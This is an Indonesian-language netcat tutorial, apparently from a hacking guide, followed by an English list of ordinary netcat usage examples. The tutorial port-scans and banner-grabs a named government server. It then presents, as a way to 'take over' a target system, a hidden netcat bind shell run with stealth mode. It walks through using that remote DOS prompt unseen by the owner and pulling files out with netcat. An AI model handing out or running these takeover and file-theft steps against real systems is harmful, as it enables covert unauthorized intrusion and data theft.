Cara pakai netcat
Pada DOS console windows, netcat dijalankan dengan mengetikkan:
C:\> nc –opsi
Dapat juga pada console netcat dengan mengetikkan:
C:\> nc
Cmd line: -opsi
Untuk mengetahui opsi lengkapnya dapat menggunakan help sebagai berikut:
C:\TMP\NETCAT>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\TMP\NETCAT>
Mari kita coba kemampuan netcat untuk mengambil header suatu situs web yang biasanya terdapat banyak informasi awal dari sistem target sebagai berikut:
C:\TMP\NETCAT>nc -v 128.1.9.81 80
adminristek [128.1.9.81] 80 (http) open
header/http
Method Not Implemented
header/http to /index.html not supported.
Invalid method in request header/http
Apache/1.3.12 Server at adminristek.bppn.go.id Port 80
C:\TMP\NETCAT>
Dari contoh di atas Anda dapat melihat nomor Ip sistem target, jenis sistem operasinya dan juga sistem aplikasi yang dipergunakan (Apache).
Pada bab sebelumnya juga telah dijelaskan bagaimana netcat dapat dipergunakan sebagai port scanner untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:
C:\TMP\NETCAT>nc -v -z 128.1.9.81 10-140
adminristek [128.1.9.81] 139 (netbios-ssn) open
adminristek [128.1.9.81] 113 (auth) open
adminristek [128.1.9.81] 110 (pop3) open
adminristek [128.1.9.81] 98 (?) open
adminristek [128.1.9.81] 80 (http) open
adminristek [128.1.9.81] 79 (finger) open
adminristek [128.1.9.81] 25 (smtp) open
adminristek [128.1.9.81] 23 (telnet) open
adminristek [128.1.9.81] 21 (ftp) open
C:\TMP\NETCAT>
Pada contoh berikut ini merupakan salah satu kehebatan netcat yang juga sangat banyak dimanfaatkan oleh para hacker untuk mengambil alih sistem target. Caranya adalah menjadikan sistem target sebagai server telnet sebagai berikut:
Pada sistem target lakukan langkah sebagai berikut:
C:\NETCAT> nc –L –p 23 –d –e command.com
C:\NETCAT>
Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan via port 23 dan Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan koneksi telnet yang masuk dan Anda dapat mengganti dengan perintah lainnya.
Selanjutnya untuk mengambil alih sistem target, Anda cukup memanggil telnet dari komputer Anda.
C:\> telnet 128.1.71.63
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
C:\NETCAT>dir
Anda sudah masuk ke dalam sistem target dengan diberikan prompt DOS milik sistem target ! Anda tinggal berjalan-jalan di dalam sistrem target seolah-olah adalah komputer Anda sendiri tanpa disadari oleh sang pemiliknya. Perintah apapun dapat Anda lakukan secara remote seperti dir, copy, delete dan sebagainya.
C:\NETCAT>dir
dir
Volume in drive C has no label
Volume Serial Number is 0C42-12EA
Directory of C:\NETCAT
.
01-04-02 11:48a .
..
01-04-02 11:48a ..
DOEXEC C 12,039 11-28-97 2:48p DOEXEC.C
GENERIC H 7,283 07-09-96 4:01p GENERIC.H
GETOPT C 22,784 11-06-96 10:40p GETOPT.C
GETOPT H 4,765 11-03-94 7:07p GETOPT.H
HOBBIT TXT 61,780 02-06-98 3:50p HOBBIT.TXT
MAKEFILE 544 11-28-97 2:36p MAKEFILE
NC EXE 59,392 01-03-98 2:37p NC.EXE
NETCAT C 69,081 01-04-98 3:17p NETCAT.C
README TXT 6,771 02-06-98 5:53p README.TXT
9 file(s) 244,439 bytes
2 dir(s) 353,669,120 bytes free
C:\NETCAT>
Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target. Dengan netcat Anda dapat melakukan dengan mudah sebagai berikut:
Pada sistem target ketikkan perintah:
Nc –l –p 55555 <> namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C
Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang perlu dilakukan adalah sebagai berikut:
Pada sistem target ketikkan perintah:
Nc –l –p 55555 > namafile2.pdf
Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:
Nc 128.1.71.63 55555 <>
nc Wait for the user to type what would normally be command-line arguments in at stdin.
nc example.host 42 Open a TCP connection to port 42 of example.host. If the connection fails, do not display any error messages, but simply exit.
nc -p 31337 example.host 42 Open a TCP connection to port 42 of example.host, and use port 31337 as the source port.
nc -w 5 example.host 42 Open a TCP connection to port 42 of example.host, and time out after five seconds while attempting to connect.
nc -u example.host 53 Send any data from stdin to UDP port 53 of example.host, and display any data returned.
nc -s 10.1.2.3 example.host 42 Open a TCP connection to port 42 of example.host using 10.1.2.3 as the IP for the local end of the connection.
nc -v example.host 42 Open a TCP connection to port 42 of example.host, displaying some diag- nostic messages on stderr.
nc -v -v example.host 42 Open a TCP connection to port 42 of example.host, displaying all diag- nostic messages on stderr.
nc -v -z example.host 20-30 Attempt to open TCP connections to ports 20 through 30 of example.host, and report which ones nc was able to connect to.
nc -v -u -z -w 3 example.host 20-30 Send UDP packets to ports 20-30 of example.host, and report which ones did not respond with an ICMP packet after three seconds.
nc -l -p 3000 Listen on TCP port 3000, and once there is a connection, send stdin to the remote host, and send data from the remote host to stdout.
echo foobar nc example.host 1000 Connect to port 1000 of example.host, send the string "foobar" followed by a newline, and move data from port 1000 of example.host to stdout until example.host closes the connection.